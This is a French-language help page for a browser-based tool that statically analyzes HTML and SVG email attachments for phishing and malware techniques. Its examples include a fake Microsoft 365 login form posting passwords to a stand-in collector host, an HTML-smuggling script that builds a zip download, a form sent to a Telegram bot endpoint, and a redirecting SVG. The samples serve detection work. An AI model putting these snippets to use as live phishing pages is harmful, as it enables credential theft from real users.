Retirez les couches Base64, hex, encodage URL, gzip et deflate jusqu'à obtenir un texte lisible.
Analyseur de pièces jointes HTML
L'outil lui-même est en anglais ; cette page vous l'explique dans votre langue.
Utilisez Analyseur de pièces jointes HTML
Fonctionnalités
Chargez ou collez une pièce jointe HTML ou SVG pour voir ce qu'elle ferait si on l'ouvrait : téléchargements cachés, formulaires qui envoient un mot de passe ailleurs, redirections, points d'exfiltration et code obscurci. Le fichier est lu comme du texte et n'est jamais affiché ni exécuté.
Tout se passe entièrement dans votre navigateur : aucune des données que vous saisissez n'est transmise.
Comment utiliser Analyseur de pièces jointes HTML
- N'ouvrez pas le fichier. Enregistrez la pièce jointe .html, .htm, .shtml, .xhtml ou .svg sans l'ouvrir, ou copiez sa source sous forme de texte.
- Chargez-le ou collez-le. Déposez le fichier sur la zone ou choisissez-le (jusqu'à 25 Mo), ou collez la source (jusqu'à 5 Mo) et appuyez sur Analyze ou Ctrl+Entrée.
- Lisez le verdict. L'encadré du haut indique High risk, Suspicious ou No high-risk patterns found, avec les catégories en cause et le nombre de constats, d'IOC et de blobs intégrés.
- Parcourez les constats. Chaque constat indique sa gravité, sa catégorie, son numéro de ligne et la source correspondante, avec les liens et adresses désamorcés.
- Exportez ce que vous avez trouvé. Copiez les IOC désamorcés ou bruts, ou utilisez Send to pour IOC Converter, Abuse Report Generator ou, pour un blob intégré, Multi-Layer Decoder.
Exemple
Formulaire de connexion avec adresse pré-remplie
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…High risk : le formulaire de connexion envoie le mot de passe à collector[.]example, le titre mentionne Microsoft 365 à côté d'un champ de mot de passe, et le script remplit l'adresse e-mail à partir du fragment de l'URL avec atob. La liste des IOC contient l'URL du collecteur et son domaine, désamorcés.
Ce qu'il vérifie
| Signal | Ce que cela signifie |
|---|---|
| HTML smuggling | High (élevé) lorsque la page construit un fichier en mémoire (Blob avec createObjectURL ou un lien de téléchargement, ou msSaveOrOpenBlob) et le propose au téléchargement. |
| Formulaires | Tout formulaire qui envoie vers un autre site est classé high, et le titre précise s'il contient un mot de passe. Le tableau Forms indique où chaque formulaire envoie ses données, sa méthode et ses champs. |
| Points d'exfiltration | Les appels à la Telegram Bot API, les jetons de bot, les webhooks Discord et les services de collecte de formulaires comme formspree.io ou webhook.site sont classés high. |
| Obfuscation | atob, unescape, fromCharCode, longues séquences d'échappement et sorties d'obfuscateurs connus. Les chaînes encodées littérales sont décodées sans être exécutées. |
| Code dynamique | eval, le constructeur Function, document.write et les affectations innerHTML construisent du code ou du balisage à l'exécution. |
| Redirections | Changements de location, window.open, meta refresh et lecture du fragment de l'URL, où les kits transmettent souvent l'adresse e-mail de la victime. |
| Anti-analyse | Clic droit ou F12 bloqués, instructions debugger, détection des outils de développement et vérifications de navigateurs automatisés. |
| Contenu intégré | data URI, longs blobs Base64 ou hexadécimaux et type de fichier qu'ils donnent une fois décodés, iframes cachées et fichiers SVG contenant du script. |
| Indices de marque | Noms de marques dans le titre, les logos ou les liens. À côté d'un champ de mot de passe, c'est classé medium (moyen). |
D'autres exemples
Un téléchargement construit dans le navigateur
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>High risk, motif HTML smuggling : 1 constat high (la page assemble un fichier dans le navigateur et le propose au téléchargement) et 4 constats medium pour atob, new Blob, URL.createObjectURL et l'attribut download. Aucun IOC.
Un mot de passe envoyé à un bot Telegram
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>High risk, motif Data exfiltration : un script envoie des données d'une page contenant un champ de mot de passe vers api.telegram.org, plus le constat sur le point de terminaison Telegram Bot API. Les constats medium portent sur fetch, le champ de mot de passe et un formulaire de connexion sans action externe.
Une image SVG qui redirige
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>High risk : fichier SVG avec script, plus une redirection de niveau medium et un constat btoa de niveau low. La cible apparaît sous Requests and redirects comme un autre site, et l'URL de l'espace de noms XML est exclue des IOC.
FAQ
Que recherche l'analyseur ?
Il confronte la source à des règles portant sur le HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, liens de téléchargement, data URI et longs blobs Base64), les formulaires et scripts qui envoient des données vers d'autres sites, l'exfiltration vers Telegram et Discord, les redirections, les iframes cachées, les obfuscateurs et les astuces anti-analyse. Il décode aussi les littéraux atob, unescape et fromCharCode sans les exécuter, et liste, désamorcés, toutes les URL, domaines, adresses IP et adresses e-mail qu'il trouve.
Peut-il manquer quelque chose ou déclencher une fausse alerte ?
Oui. Du code chiffré ou généré à l'exécution peut cacher son comportement à une analyse statique, et des pages ordinaires utilisent aussi fetch, innerHTML ou des images intégrées : lisez donc la source correspondante affichée à côté de chaque constat. Pour la désobfuscation et l'émulation en bac à sable, utilisez JS Analyzer.
Le fichier est-il téléversé ou ouvert ?
Non. Le fichier est lu comme du texte dans votre navigateur et n'est jamais affiché, exécuté ni envoyé nulle part. Les fichiers jusqu'à 25 Mo sont acceptés ; pour les très gros, les 4 premiers Mo et le dernier Mo de balisage sont analysés, et les blobs intégrés sont comptés sur l'ensemble du fichier.
Pourquoi une image SVG est-elle vérifiée comme une page web ?
Les fichiers SVG sont du XML que les navigateurs ouvrent comme des pages : ils peuvent donc contenir des scripts, des liens et du HTML intégré. Une image n'a pas besoin de script ; un script dans un SVG est donc classé high.
Que sont les blobs intégrés ?
De longues chaînes Base64, hexadécimales ou de tableaux d'octets à l'intérieur du fichier. Elles sont décodées en mémoire et étiquetées avec le type de fichier qu'elles donnent ; vous pouvez en copier une ou envoyer un blob texte à Multi-Layer Decoder.
Que signifient les niveaux de gravité ?
High (élevé) marque les schémas sur lesquels reposent les pièces jointes de phishing et de malware, comme le smuggling, les points d'exfiltration ou un formulaire de mot de passe qui envoie ailleurs. Medium (moyen) couvre les techniques qu'utilisent aussi les pages ordinaires. Un seul constat high suffit pour le verdict High risk.